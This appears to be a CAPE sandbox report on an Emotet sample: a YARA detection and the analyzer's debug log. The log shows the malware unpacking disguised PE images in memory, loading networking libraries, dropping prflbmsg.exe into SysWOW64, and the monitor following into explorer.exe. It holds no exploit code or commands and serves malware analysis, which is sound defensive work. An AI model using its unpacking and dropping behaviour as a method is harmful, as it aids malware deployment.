Detections

Yara:

Emotet

Analysis

Category Package Started Completed Duration Options Log
FILE Extraction 2020-05-23 10:38:59 2020-05-23 10:43:16 257 seconds Show Options Show Log
route = tor
2020-05-13 09:25:36,165 [root] INFO: Date set to: 20200523T10:39:45, timeout set to: 200
2020-05-23 10:39:45,078 [root] DEBUG: Starting analyzer from: C:\tmp2ssujfce
2020-05-23 10:39:45,078 [root] DEBUG: Storing results at: C:\JOAxPSDeF
2020-05-23 10:39:45,078 [root] DEBUG: Pipe server name: \\.\PIPE\nUBNsHqH
2020-05-23 10:39:45,078 [root] DEBUG: Python path: C:\Users\Louise\AppData\Local\Programs\Python\Python38-32
2020-05-23 10:39:45,078 [root] INFO: Analysis package "Extraction" has been specified.
2020-05-23 10:39:45,078 [root] DEBUG: Trying to import analysis package "Extraction"...
2020-05-23 10:39:45,078 [root] DEBUG: Imported analysis package "Extraction".
2020-05-23 10:39:45,078 [root] DEBUG: Trying to initialize analysis package "Extraction"...
2020-05-23 10:39:45,078 [root] DEBUG: Initialized analysis package "Extraction".
2020-05-23 10:39:45,125 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.browser"...
2020-05-23 10:39:45,140 [root] DEBUG: Imported auxiliary module "modules.auxiliary.browser".
2020-05-23 10:39:45,140 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.curtain"...
2020-05-23 10:39:45,140 [root] DEBUG: Imported auxiliary module "modules.auxiliary.curtain".
2020-05-23 10:39:45,140 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.digisig"...
2020-05-23 10:39:45,156 [root] DEBUG: Imported auxiliary module "modules.auxiliary.digisig".
2020-05-23 10:39:45,171 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.disguise"...
2020-05-23 10:39:45,187 [root] DEBUG: Imported auxiliary module "modules.auxiliary.disguise".
2020-05-23 10:39:45,187 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.human"...
2020-05-23 10:39:45,187 [root] DEBUG: Imported auxiliary module "modules.auxiliary.human".
2020-05-23 10:39:45,187 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.procmon"...
2020-05-23 10:39:45,203 [root] DEBUG: Imported auxiliary module "modules.auxiliary.procmon".
2020-05-23 10:39:45,203 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.screenshots"...
2020-05-23 10:39:45,203 [modules.auxiliary.screenshots] DEBUG: Importing 'time'
2020-05-23 10:39:45,203 [modules.auxiliary.screenshots] DEBUG: Importing 'StringIO'
2020-05-23 10:39:45,203 [modules.auxiliary.screenshots] DEBUG: Importing 'Thread'
2020-05-23 10:39:45,203 [modules.auxiliary.screenshots] DEBUG: Importing 'Auxiliary'
2020-05-23 10:39:45,218 [modules.auxiliary.screenshots] DEBUG: Importing 'NetlogFile'
2020-05-23 10:39:45,218 [modules.auxiliary.screenshots] DEBUG: Importing 'Screenshot'
2020-05-23 10:39:45,218 [lib.api.screenshot] DEBUG: Importing 'math'
2020-05-23 10:39:45,218 [lib.api.screenshot] DEBUG: Importing 'PIL.ImageChops'
2020-05-23 10:39:45,453 [lib.api.screenshot] DEBUG: Importing 'PIL.ImageGrab'
2020-05-23 10:39:45,453 [lib.api.screenshot] DEBUG: Importing 'PIL.ImageDraw'
2020-05-23 10:39:45,468 [modules.auxiliary.screenshots] DEBUG: Imports OK
2020-05-23 10:39:45,468 [root] DEBUG: Imported auxiliary module "modules.auxiliary.screenshots".
2020-05-23 10:39:45,468 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.sysmon"...
2020-05-23 10:39:45,468 [root] DEBUG: Imported auxiliary module "modules.auxiliary.sysmon".
2020-05-23 10:39:45,468 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.usage"...
2020-05-23 10:39:45,484 [root] DEBUG: Imported auxiliary module "modules.auxiliary.usage".
2020-05-23 10:39:45,484 [root] DEBUG: Trying to initialize auxiliary module "Browser"...
2020-05-23 10:39:45,484 [root] DEBUG: Initialized auxiliary module "Browser".
2020-05-23 10:39:45,484 [root] DEBUG: Trying to start auxiliary module "Browser"...
2020-05-23 10:39:45,500 [root] DEBUG: Started auxiliary module Browser
2020-05-23 10:39:45,500 [root] DEBUG: Trying to initialize auxiliary module "Curtain"...
2020-05-23 10:39:45,500 [root] DEBUG: Initialized auxiliary module "Curtain".
2020-05-23 10:39:45,500 [root] DEBUG: Trying to start auxiliary module "Curtain"...
2020-05-23 10:39:45,515 [root] DEBUG: Started auxiliary module Curtain
2020-05-23 10:39:45,515 [root] DEBUG: Trying to initialize auxiliary module "DigiSig"...
2020-05-23 10:39:45,515 [root] DEBUG: Initialized auxiliary module "DigiSig".
2020-05-23 10:39:45,515 [root] DEBUG: Trying to start auxiliary module "DigiSig"...
2020-05-23 10:39:45,515 [modules.auxiliary.digisig] DEBUG: Checking for a digital signature.
2020-05-23 10:39:46,390 [modules.auxiliary.digisig] DEBUG: File is not signed.
2020-05-23 10:39:46,390 [modules.auxiliary.digisig] INFO: Uploading signature results to aux/DigiSig.json
2020-05-23 10:39:46,406 [root] DEBUG: Started auxiliary module DigiSig
2020-05-23 10:39:46,406 [root] DEBUG: Trying to initialize auxiliary module "Disguise"...
2020-05-23 10:39:46,406 [root] DEBUG: Initialized auxiliary module "Disguise".
2020-05-23 10:39:46,406 [root] DEBUG: Trying to start auxiliary module "Disguise"...
2020-05-23 10:39:46,437 [root] DEBUG: Started auxiliary module Disguise
2020-05-23 10:39:46,437 [root] DEBUG: Trying to initialize auxiliary module "Human"...
2020-05-23 10:39:46,437 [root] DEBUG: Initialized auxiliary module "Human".
2020-05-23 10:39:46,437 [root] DEBUG: Trying to start auxiliary module "Human"...
2020-05-23 10:39:46,437 [root] DEBUG: Started auxiliary module Human
2020-05-23 10:39:46,437 [root] DEBUG: Trying to initialize auxiliary module "Procmon"...
2020-05-23 10:39:46,437 [root] DEBUG: Initialized auxiliary module "Procmon".
2020-05-23 10:39:46,437 [root] DEBUG: Trying to start auxiliary module "Procmon"...
2020-05-23 10:39:46,453 [root] DEBUG: Started auxiliary module Procmon
2020-05-23 10:39:46,453 [root] DEBUG: Trying to initialize auxiliary module "Screenshots"...
2020-05-23 10:39:46,453 [root] DEBUG: Initialized auxiliary module "Screenshots".
2020-05-23 10:39:46,453 [root] DEBUG: Trying to start auxiliary module "Screenshots"...
2020-05-23 10:39:46,453 [root] DEBUG: Started auxiliary module Screenshots
2020-05-23 10:39:46,453 [root] DEBUG: Trying to initialize auxiliary module "Sysmon"...
2020-05-23 10:39:46,453 [root] DEBUG: Initialized auxiliary module "Sysmon".
2020-05-23 10:39:46,453 [root] DEBUG: Trying to start auxiliary module "Sysmon"...
2020-05-23 10:39:46,453 [root] DEBUG: Started auxiliary module Sysmon
2020-05-23 10:39:46,453 [root] DEBUG: Trying to initialize auxiliary module "Usage"...
2020-05-23 10:39:46,453 [root] DEBUG: Initialized auxiliary module "Usage".
2020-05-23 10:39:46,453 [root] DEBUG: Trying to start auxiliary module "Usage"...
2020-05-23 10:39:46,468 [root] DEBUG: Started auxiliary module Usage
2020-05-23 10:39:46,468 [root] INFO: Analyzer: Package modules.packages.Extraction does not specify a DLL option
2020-05-23 10:39:46,468 [root] INFO: Analyzer: Package modules.packages.Extraction does not specify a DLL_64 option
2020-05-23 10:39:46,468 [root] INFO: Analyzer: Package modules.packages.Extraction does not specify a loader option
2020-05-23 10:39:46,468 [root] INFO: Analyzer: Package modules.packages.Extraction does not specify a loader_64 option
2020-05-23 10:39:46,593 [lib.api.process] INFO: Successfully executed process from path "C:\Users\Louise\AppData\Local\Temp\ECKCd9.exe" with arguments "" with pid 4188
2020-05-23 10:39:46,593 [lib.api.process] INFO: Monitor config for process 4188: C:\tmp2ssujfce\dll\4188.ini
2020-05-23 10:39:46,593 [lib.api.process] INFO: Option 'extraction' with value '1' sent to monitor
2020-05-23 10:39:46,593 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2020-05-23 10:39:46,593 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmp2ssujfce\dll\ymSBbTlE.dll, loader C:\tmp2ssujfce\bin\oUUGhOj.exe
2020-05-23 10:39:46,640 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\nUBNsHqH.
2020-05-23 10:39:46,640 [root] DEBUG: Loader: Injecting process 4188 (thread 4596) with C:\tmp2ssujfce\dll\ymSBbTlE.dll.
2020-05-23 10:39:46,640 [root] DEBUG: Process image base: 0x00400000
2020-05-23 10:39:46,640 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\tmp2ssujfce\dll\ymSBbTlE.dll.
2020-05-23 10:39:46,640 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2020-05-23 10:39:46,656 [root] DEBUG: Successfully injected DLL C:\tmp2ssujfce\dll\ymSBbTlE.dll.
2020-05-23 10:39:46,656 [lib.api.process] INFO: Injected into suspended 32-bit process with pid 4188
2020-05-23 10:39:48,671 [lib.api.process] INFO: Successfully resumed process with pid 4188
2020-05-23 10:39:48,953 [root] DEBUG: Python path set to 'C:\Users\Louise\AppData\Local\Programs\Python\Python38-32'.
2020-05-23 10:39:48,953 [root] DEBUG: Capture of extracted payloads enabled.
2020-05-23 10:39:48,953 [root] DEBUG: Process dumps disabled.
2020-05-23 10:39:48,953 [root] DEBUG: Dropped file limit defaulting to 100.
2020-05-23 10:39:48,968 [root] DEBUG: RestoreHeaders: Restored original import table.
2020-05-23 10:39:48,968 [root] DEBUG: CAPE initialised: 32-bit monitor loaded in process 4188 at 0x6fa40000, image base 0x400000, stack from 0x186000-0x190000
2020-05-23 10:39:48,968 [root] DEBUG: Commandline: C:\Users\Louise\AppData\Local\Temp\"C:\Users\Louise\AppData\Local\Temp\ECKCd9.exe".
2020-05-23 10:39:49,015 [root] DEBUG: WoW64 detected: 64-bit ntdll base: 0x77180000, KiUserExceptionDispatcher: 0x0, NtSetContextThread: 0x771eb5f0, Wow64PrepareForException: 0x0
2020-05-23 10:39:49,031 [root] DEBUG: WoW64 workaround: KiUserExceptionDispatcher hook installed at: 0x2d0000
2020-05-23 10:39:49,031 [root] INFO: Disabling sleep skipping.
2020-05-23 10:39:49,031 [root] INFO: Disabling sleep skipping.
2020-05-23 10:39:49,031 [root] DEBUG: ExtractionInit: Debugger initialised.
2020-05-23 10:39:49,031 [root] INFO: Disabling sleep skipping.
2020-05-23 10:39:49,031 [root] INFO: Disabling sleep skipping.
2020-05-23 10:39:49,046 [root] DEBUG: AddTrackedRegion: Created new tracked region for address 0x00400000.
2020-05-23 10:39:49,046 [root] DEBUG: AddTrackedRegion: New region at 0x00400000 size 0x1000 added to tracked regions: EntryPoint 0x1ff13, Entropy 6.309042e+00
2020-05-23 10:39:49,046 [root] DEBUG: ExtractionInit: Adding main image base to tracked regions.
2020-05-23 10:39:49,046 [root] INFO: loaded: b'4188'
2020-05-23 10:39:49,046 [root] INFO: Loaded monitor into process with pid 4188
2020-05-23 10:39:49,093 [root] DEBUG: DLL loaded at 0x01DA0000: C:\Windows\system32\WerFault.exe (0x5b000 bytes).
2020-05-23 10:39:49,093 [root] DEBUG: Allocation: 0x003F0000 - 0x003FA000, size: 0xa000, protection: 0x40.
2020-05-23 10:39:49,093 [root] DEBUG: ProcessTrackedRegions: Processing region at 0x00000000.
2020-05-23 10:39:49,093 [root] DEBUG: ProcessTrackedRegions: Processing region at 0x00400000.
2020-05-23 10:39:49,093 [root] DEBUG: ProcessImageBase: EP 0x0001FF13 image base 0x00400000 size 0x0 entropy 6.320084e+00.
2020-05-23 10:39:49,093 [root] DEBUG: AllocationHandler: Adding allocation to tracked region list: 0x003F0000, size: 0xa000.
2020-05-23 10:39:49,093 [root] DEBUG: AddTrackedRegion: Created new tracked region for address 0x003F0000.
2020-05-23 10:39:49,093 [root] DEBUG: AddTrackedRegion: New region at 0x003F0000 size 0xa000 added to tracked regions.
2020-05-23 10:39:49,109 [root] DEBUG: ActivateBreakpoints: TrackedRegion->AllocationBase: 0x003F0000, TrackedRegion->RegionSize: 0xa000, thread 4596
2020-05-23 10:39:49,109 [root] DEBUG: SetThreadBreakpoint: Set bp 0 thread id 4596 type 1 at address 0x003F0000, size 2 with Callback 0x6fa47ee0.
2020-05-23 10:39:49,109 [root] DEBUG: ActivateBreakpoints: Set write breakpoint on empty protect address: 0x003F0000
2020-05-23 10:39:49,109 [root] DEBUG: SetThreadBreakpoint: Set bp 1 thread id 4596 type 1 at address 0x003F003C, size 4 with Callback 0x6fa47b30.
2020-05-23 10:39:49,109 [root] DEBUG: ActivateBreakpoints: Set write breakpoint on e_lfanew address: 0x003F003C
2020-05-23 10:39:49,125 [root] DEBUG: AllocationHandler: Breakpoints set on newly-allocated executable region at: 0x003F0000 (size 0xa000).
2020-05-23 10:39:49,125 [root] DEBUG: DLL unloaded from 0x77340000.
2020-05-23 10:39:49,125 [root] DEBUG: CAPEExceptionFilter: breakpoint hit by instruction at 0x0041F55A (thread 4596)
2020-05-23 10:39:49,125 [root] DEBUG: BaseAddressWriteCallback: Breakpoint 0 at Address 0x003F0000.
2020-05-23 10:39:49,125 [root] DEBUG: BaseAddressWriteCallback: byte written to 0x3f0000: 0x6f.
2020-05-23 10:39:49,125 [root] DEBUG: BaseAddressWriteCallback: Exec bp set on tracked region protect address.
2020-05-23 10:39:49,125 [root] DEBUG: CAPEExceptionFilter: breakpoint hit by instruction at 0x0041F55A (thread 4596)
2020-05-23 10:39:49,125 [root] DEBUG: PEPointerWriteCallback: Breakpoint 1 at Address 0x003F003C.
2020-05-23 10:39:49,140 [root] DEBUG: PEPointerWriteCallback: candidate pointer to PE header too big: 0x48d60b0c (at 0x003F003C).
2020-05-23 10:39:49,140 [root] DEBUG: ContextSetNextAvailableBreakpoint: An identical breakpoint (2) at 0x003F0000 already exists for thread 4596 (process 4188), skipping.
2020-05-23 10:39:49,140 [root] DEBUG: PEPointerWriteCallback: set write bp on AddressOfEntryPoint at 0x003F0000.
2020-05-23 10:39:49,140 [root] DEBUG: CAPEExceptionFilter: breakpoint hit by instruction at 0x00405CCD (thread 4596)
2020-05-23 10:39:49,140 [root] DEBUG: BaseAddressWriteCallback: Breakpoint 0 at Address 0x003F0000.
2020-05-23 10:39:49,140 [root] DEBUG: ContextSetNextAvailableBreakpoint: An identical breakpoint (2) at 0x003F0000 already exists for thread 4596 (process 4188), skipping.
2020-05-23 10:39:49,140 [root] DEBUG: BaseAddressWriteCallback: byte written to 0x3f0000: 0xe8.
2020-05-23 10:39:49,140 [root] DEBUG: BaseAddressWriteCallback: Exec bp set on tracked region protect address.
2020-05-23 10:39:49,156 [root] DEBUG: CAPEExceptionFilter: breakpoint hit by instruction at 0x00405CCD (thread 4596)
2020-05-23 10:39:49,156 [root] DEBUG: BaseAddressWriteCallback: Breakpoint 0 at Address 0x003F0000.
2020-05-23 10:39:49,156 [root] DEBUG: ContextSetNextAvailableBreakpoint: An identical breakpoint (2) at 0x003F0000 already exists for thread 4596 (process 4188), skipping.
2020-05-23 10:39:49,156 [root] DEBUG: BaseAddressWriteCallback: byte written to 0x3f0000: 0xe8.
2020-05-23 10:39:49,156 [root] DEBUG: BaseAddressWriteCallback: Exec bp set on tracked region protect address.
2020-05-23 10:39:49,156 [root] DEBUG: CAPEExceptionFilter: breakpoint hit by instruction at 0x00405CCD (thread 4596)
2020-05-23 10:39:49,156 [root] DEBUG: PEPointerWriteCallback: Breakpoint 1 at Address 0x003F003C.
2020-05-23 10:39:49,156 [root] DEBUG: PEPointerWriteCallback: candidate pointer to PE header too big: 0x48d60b56 (at 0x003F003C).
2020-05-23 10:39:49,171 [root] DEBUG: ContextSetNextAvailableBreakpoint: An identical breakpoint (2) at 0x003F0000 already exists for thread 4596 (process 4188), skipping.
2020-05-23 10:39:49,171 [root] DEBUG: PEPointerWriteCallback: set write bp on AddressOfEntryPoint at 0x003F0000.
2020-05-23 10:39:49,171 [root] DEBUG: CAPEExceptionFilter: breakpoint hit by instruction at 0x00405CCD (thread 4596)
2020-05-23 10:39:49,171 [root] DEBUG: PEPointerWriteCallback: Breakpoint 1 at Address 0x003F003C.
2020-05-23 10:39:49,171 [root] DEBUG: PEPointerWriteCallback: candidate pointer to PE header too big: 0x48d65756 (at 0x003F003C).
2020-05-23 10:39:49,171 [root] DEBUG: ContextSetNextAvailableBreakpoint: An identical breakpoint (2) at 0x003F0000 already exists for thread 4596 (process 4188), skipping.
2020-05-23 10:39:49,171 [root] DEBUG: PEPointerWriteCallback: set write bp on AddressOfEntryPoint at 0x003F0000.
2020-05-23 10:39:49,203 [root] DEBUG: CAPEExceptionFilter: breakpoint hit by instruction at 0x00405CCD (thread 4596)
2020-05-23 10:39:49,203 [root] DEBUG: PEPointerWriteCallback: Breakpoint 1 at Address 0x003F003C.
2020-05-23 10:39:49,203 [root] DEBUG: PEPointerWriteCallback: candidate pointer to PE header too big: 0x48335756 (at 0x003F003C).
2020-05-23 10:39:49,203 [root] DEBUG: ContextSetNextAvailableBreakpoint: An identical breakpoint (2) at 0x003F0000 already exists for thread 4596 (process 4188), skipping.
2020-05-23 10:39:49,203 [root] DEBUG: PEPointerWriteCallback: set write bp on AddressOfEntryPoint at 0x003F0000.
2020-05-23 10:39:49,218 [root] DEBUG: CAPEExceptionFilter: breakpoint hit by instruction at 0x00405CCD (thread 4596)
2020-05-23 10:39:49,218 [root] DEBUG: PEPointerWriteCallback: Breakpoint 1 at Address 0x003F003C.
2020-05-23 10:39:49,234 [root] DEBUG: PEPointerWriteCallback: candidate pointer to PE header too big: 0xf6335756 (at 0x003F003C).
2020-05-23 10:39:49,234 [root] DEBUG: ContextSetNextAvailableBreakpoint: An identical breakpoint (2) at 0x003F0000 already exists for thread 4596 (process 4188), skipping.
2020-05-23 10:39:49,249 [root] DEBUG: PEPointerWriteCallback: set write bp on AddressOfEntryPoint at 0x003F0000.
2020-05-23 10:39:50,703 [root] DEBUG: CAPEExceptionFilter: breakpoint hit by instruction at 0x003F0000 (thread 4596)
2020-05-23 10:39:50,703 [root] DEBUG: ShellcodeExecCallback: Breakpoint 2 at Address 0x003F0000 (allocation base 0x003F0000).
2020-05-23 10:39:50,703 [root] DEBUG: ClearBreakpointsInRange: Clearing breakpoints in range 0x3f0000 - 0x3fa000.
2020-05-23 10:39:50,703 [root] DEBUG: ClearBreakpointsInRange: Clearing breakpoint 0 address 0x003F0000.
2020-05-23 10:39:50,703 [root] DEBUG: ClearBreakpointsInRange: Clearing breakpoint 1 address 0x003F003C.
2020-05-23 10:39:50,718 [root] DEBUG: ClearBreakpointsInRange: Clearing breakpoint 2 address 0x003F0000.
2020-05-23 10:39:50,718 [root] DEBUG: ShellcodeExecCallback: About to scan region for a PE image (base 0x003F0000, size 0xa000).
2020-05-23 10:39:50,718 [root] DEBUG: DumpPEsInRange: Scanning range 0x3f0000 - 0x3fa000.
2020-05-23 10:39:50,718 [root] DEBUG: ScanForDisguisedPE: PE image located at: 0x3f053f
2020-05-23 10:39:50,718 [root] DEBUG: DumpImageInCurrentProcess: Attempting to dump 'raw' PE image.
2020-05-23 10:39:50,734 [root] DEBUG: DumpPE: Instantiating PeParser with address: 0x003F053F.
2020-05-23 10:39:50,984 [root] INFO: ('dump_file', 'C:\\JOAxPSDeF\\CAPE\\4188_135209875230212023652020', b'8;?C:\\Users\\Louise\\AppData\\Local\\Temp\\ECKCd9.exe;?C:\\Users\\Louise\\AppData\\Local\\Temp\\ECKCd9.exe;?0x003F0000;?', ['4188'], 'CAPE')
2020-05-23 10:39:51,031 [root] DEBUG: DumpPE: PE file in memory dumped successfully - dump size 0x9a00.
2020-05-23 10:39:51,031 [root] DEBUG: ScanForDisguisedPE: No PE image located in range 0x3f153f-0x3fa000.
2020-05-23 10:39:51,031 [root] DEBUG: ShellcodeExecCallback: PE image(s) detected and dumped.
2020-05-23 10:39:51,046 [root] DEBUG: set_caller_info: Adding region at 0x003F0000 to caller regions list (ntdll::NtAllocateVirtualMemory).
2020-05-23 10:39:51,046 [root] DEBUG: ProcessTrackedRegions: Processing region at 0x00000000.
2020-05-23 10:39:51,046 [root] DEBUG: ProcessTrackedRegions: Processing region at 0x00400000.
2020-05-23 10:39:51,046 [root] DEBUG: ProcessImageBase: EP 0x0001FF13 image base 0x00400000 size 0x0 entropy 6.320084e+00.
2020-05-23 10:39:51,046 [root] DEBUG: ProcessTrackedRegions: Processing region at 0x003F0000.
2020-05-23 10:39:51,062 [root] DEBUG: ProtectionHandler: Adding region at 0x00561000 to tracked regions.
2020-05-23 10:39:51,062 [root] DEBUG: AddTrackedRegion: Created new tracked region for address 0x00561000.
2020-05-23 10:39:51,062 [root] DEBUG: AddTrackedRegion: New region at 0x00560000 size 0x9000 added to tracked regions: EntryPoint 0x5130, Entropy 5.853254e+00
2020-05-23 10:39:51,062 [root] DEBUG: ProtectionHandler: Address: 0x00561000 (alloc base 0x00560000), NumberOfBytesToProtect: 0x8600, NewAccessProtection: 0x20
2020-05-23 10:39:51,062 [root] DEBUG: ProtectionHandler: Increased region size at 0x00561000 to 0x9600.
2020-05-23 10:39:51,062 [root] DEBUG: ProtectionHandler: New code detected at (0x00560000), scanning for PE images.
2020-05-23 10:39:51,062 [root] DEBUG: DumpPEsInRange: Scanning range 0x560000 - 0x569600.
2020-05-23 10:39:51,062 [root] DEBUG: ScanForDisguisedPE: PE image located at: 0x560000
2020-05-23 10:39:51,062 [root] DEBUG: DumpImageInCurrentProcess: Disguised PE image (bad MZ and/or PE headers) at 0x00560000
2020-05-23 10:39:51,062 [root] DEBUG: DumpImageInCurrentProcess: Attempting to dump virtual PE image.
2020-05-23 10:39:51,078 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x00560000.
2020-05-23 10:39:51,078 [root] DEBUG: DumpProcess: Module entry point VA is 0x00005130.
2020-05-23 10:39:51,078 [root] INFO: ('dump_file', 'C:\\JOAxPSDeF\\CAPE\\4188_42437219851391623652020', b'8;?C:\\Users\\Louise\\AppData\\Local\\Temp\\ECKCd9.exe;?C:\\Users\\Louise\\AppData\\Local\\Temp\\ECKCd9.exe;?0x00560000;?', ['4188'], 'CAPE')
2020-05-23 10:39:51,249 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x9a00.
2020-05-23 10:39:51,249 [root] DEBUG: ScanForDisguisedPE: No PE image located in range 0x561000-0x569600.
2020-05-23 10:39:51,249 [root] DEBUG: set_caller_info: Adding region at 0x00560000 to caller regions list (ntdll::LdrGetDllHandle).
2020-05-23 10:39:51,265 [root] DEBUG: DLL loaded at 0x76A70000: C:\Windows\syswow64\crypt32 (0x122000 bytes).
2020-05-23 10:39:51,265 [root] DEBUG: DLL loaded at 0x76EA0000: C:\Windows\syswow64\MSASN1 (0xc000 bytes).
2020-05-23 10:39:51,265 [root] DEBUG: DLL loaded at 0x75B90000: C:\Windows\syswow64\urlmon (0x124000 bytes).
2020-05-23 10:39:51,281 [root] DEBUG: DLL loaded at 0x76EB0000: C:\Windows\syswow64\api-ms-win-downlevel-ole32-l1-1-0 (0x4000 bytes).
2020-05-23 10:39:51,281 [root] DEBUG: DLL loaded at 0x74E90000: C:\Windows\syswow64\api-ms-win-downlevel-shlwapi-l1-1-0 (0x4000 bytes).
2020-05-23 10:39:51,281 [root] DEBUG: DLL loaded at 0x76EF0000: C:\Windows\syswow64\api-ms-win-downlevel-advapi32-l1-1-0 (0x5000 bytes).
2020-05-23 10:39:51,281 [root] DEBUG: DLL loaded at 0x76E40000: C:\Windows\syswow64\api-ms-win-downlevel-user32-l1-1-0 (0x4000 bytes).
2020-05-23 10:39:51,281 [root] DEBUG: DLL loaded at 0x76EE0000: C:\Windows\syswow64\api-ms-win-downlevel-version-l1-1-0 (0x4000 bytes).
2020-05-23 10:39:51,296 [root] DEBUG: DLL loaded at 0x73590000: C:\Windows\system32\version (0x9000 bytes).
2020-05-23 10:39:51,296 [root] DEBUG: DLL loaded at 0x767F0000: C:\Windows\syswow64\api-ms-win-downlevel-normaliz-l1-1-0 (0x3000 bytes).
2020-05-23 10:39:51,296 [root] DEBUG: DLL loaded at 0x766F0000: C:\Windows\syswow64\normaliz (0x3000 bytes).
2020-05-23 10:39:51,328 [root] DEBUG: DLL loaded at 0x76BA0000: C:\Windows\syswow64\iertutil (0x215000 bytes).
2020-05-23 10:39:51,343 [root] DEBUG: DLL loaded at 0x75CC0000: C:\Windows\syswow64\WININET (0x1c4000 bytes).
2020-05-23 10:39:51,343 [root] DEBUG: DLL loaded at 0x74450000: C:\Windows\system32\userenv (0x17000 bytes).
2020-05-23 10:39:51,343 [root] DEBUG: DLL loaded at 0x74440000: C:\Windows\system32\profapi (0xb000 bytes).
2020-05-23 10:39:51,359 [root] DEBUG: DLL loaded at 0x743F0000: C:\Windows\system32\wtsapi32 (0xd000 bytes).
2020-05-23 10:39:55,828 [root] DEBUG: DLL loaded at 0x73A10000: C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.18837_none_41e855142bd5705d\comctl32 (0x19e000 bytes).
2020-05-23 10:39:55,843 [root] DEBUG: DLL loaded at 0x76170000: C:\Windows\syswow64\CLBCatQ (0x83000 bytes).
2020-05-23 10:39:55,859 [root] DEBUG: DLL loaded at 0x76800000: C:\Windows\syswow64\SETUPAPI (0x19d000 bytes).
2020-05-23 10:39:55,859 [root] DEBUG: DLL loaded at 0x76200000: C:\Windows\syswow64\CFGMGR32 (0x27000 bytes).
2020-05-23 10:39:55,859 [root] DEBUG: DLL loaded at 0x76EC0000: C:\Windows\syswow64\DEVOBJ (0x12000 bytes).
2020-05-23 10:39:55,859 [root] DEBUG: DLL loaded at 0x73020000: C:\Windows\system32\propsys (0xf5000 bytes).
2020-05-23 10:39:55,875 [root] DEBUG: DLL loaded at 0x74380000: C:\Windows\system32\ntmarta (0x21000 bytes).
2020-05-23 10:39:55,875 [root] DEBUG: DLL loaded at 0x76E50000: C:\Windows\syswow64\WLDAP32 (0x45000 bytes).
2020-05-23 10:39:55,906 [root] DEBUG: DLL unloaded from 0x74F40000.
2020-05-23 10:39:56,093 [root] INFO: ('dump_file', 'C:\\Windows\\SysWOW64\\prflbmsg\\prflbmsg.exe', '', None, 'files')
2020-05-23 10:39:56,171 [root] INFO: Announced 64-bit process name: explorer.exe pid: 1428
2020-05-23 10:39:56,171 [lib.api.process] INFO: Monitor config for process 1428: C:\tmp2ssujfce\dll\1428.ini
2020-05-23 10:39:56,187 [lib.api.process] INFO: Option 'extraction' with value '1' sent to monitor
2020-05-23 10:39:56,187 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2020-05-23 10:39:56,187 [lib.api.process] INFO: 64-bit DLL to inject is C:\tmp2ssujfce\dll\yhdpZP.dll, loader C:\tmp2ssujfce\bin\VEwJOivF.exe
2020-05-23 10:39:56,234 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\nUBNsHqH.
2020-05-23 10:39:56,234 [root] DEBUG: Loader: Injecting process 1428 (thread 0) with C:\tmp2ssujfce\dll\yhdpZP.dll.
2020-05-23 10:39:56,234 [root] DEBUG: Error 0 (0x0) - GetProcessInitialThreadId: Remote PEB 0x000007FFFFFD5000 Local PEB 0x000007FFFFFDE000 Local TEB 0x000007FFFFFD3000: The operation completed successfully.
2020-05-23 10:39:56,234 [root] DEBUG: Error 299 (0x12b) - GetProcessInitialThreadId: Failed to read from process: Only part of a ReadProcessMemory or WriteProcessMemory request was completed.
2020-05-23 10:39:56,234 [root] DEBUG: InjectDll: No thread ID supplied, GetProcessInitialThreadId failed (SessionId=1).
2020-05-23 10:39:56,249 [root] DEBUG: Failed to inject DLL C:\tmp2ssujfce\dll\yhdpZP.dll.
2020-05-23 10:39:56,249 [lib.api.process] ERROR: Unable to inject into 64-bit process with pid 1428, error: 4294967281
2020-05-23 10:39:56,249 [root] INFO: Announced 64-bit process name: explorer.exe pid: 1428
2020-05-23 10:39:56,249 [lib.api.process] INFO: Monitor config for process 1428: C:\tmp2ssujfce\dll\1428.ini
2020-05-23 10:39:56,249 [lib.api.process] INFO: Option 'extraction' with value '1' sent to monitor
2020-05-23 10:39:56,249 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2020-05-23 10:39:56,249 [lib.api.process] INFO: 64-bit DLL to inject is C:\tmp2ssujfce\dll\yhdpZP.dll, loader C:\tmp2ssujfce\bin\VEwJOivF.exe
2020-05-23 10:39:56,281 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\nUBNsHqH.
2020-05-23 10:39:56,281 [root] DEBUG: Loader: Injecting process 1428 (thread 0) with C:\tmp2ssujfce\dll\yhdpZP.dll.
2020-05-23 10:39:56,281 [root] DEBUG: Error 0 (0x0) - GetProcessInitialThreadId: Remote PEB 0x000007FFFFFD5000 Local PEB 0x000007FFFFFDD000 Local TEB 0x000007FFFFFDF000: The operation completed successfully.
2020-05-23 10:39:56,281 [root] DEBUG: InjectDll: No thread ID supplied. Initial thread ID 1588, handle 0xa8
2020-05-23 10:39:56,281 [root] DEBUG: Process image base: 0x00000000FF230000
2020-05-23 10:39:56,281 [root] DEBUG: InjectDllViaIAT: Not a new process, aborting IAT patch
2020-05-23 10:39:56,281 [root] DEBUG: InjectDll: IAT patching failed, falling back to thread injection.
2020-05-23 10:39:56,328 [root] DEBUG: Python path set to 'C:\Users\Louise\AppData\Local\Programs\Python\Python38-32'.
2020-05-23 10:39:56,343 [root] DEBUG: Capture of extracted payloads enabled.
2020-05-23 10:39:56,343 [root] DEBUG: Process dumps disabled.
2020-05-23 10:39:56,343 [root] DEBUG: Dropped file limit defaulting to 100.
2020-05-23 10:39:56,343 [root] INFO: Disabling sleep skipping.
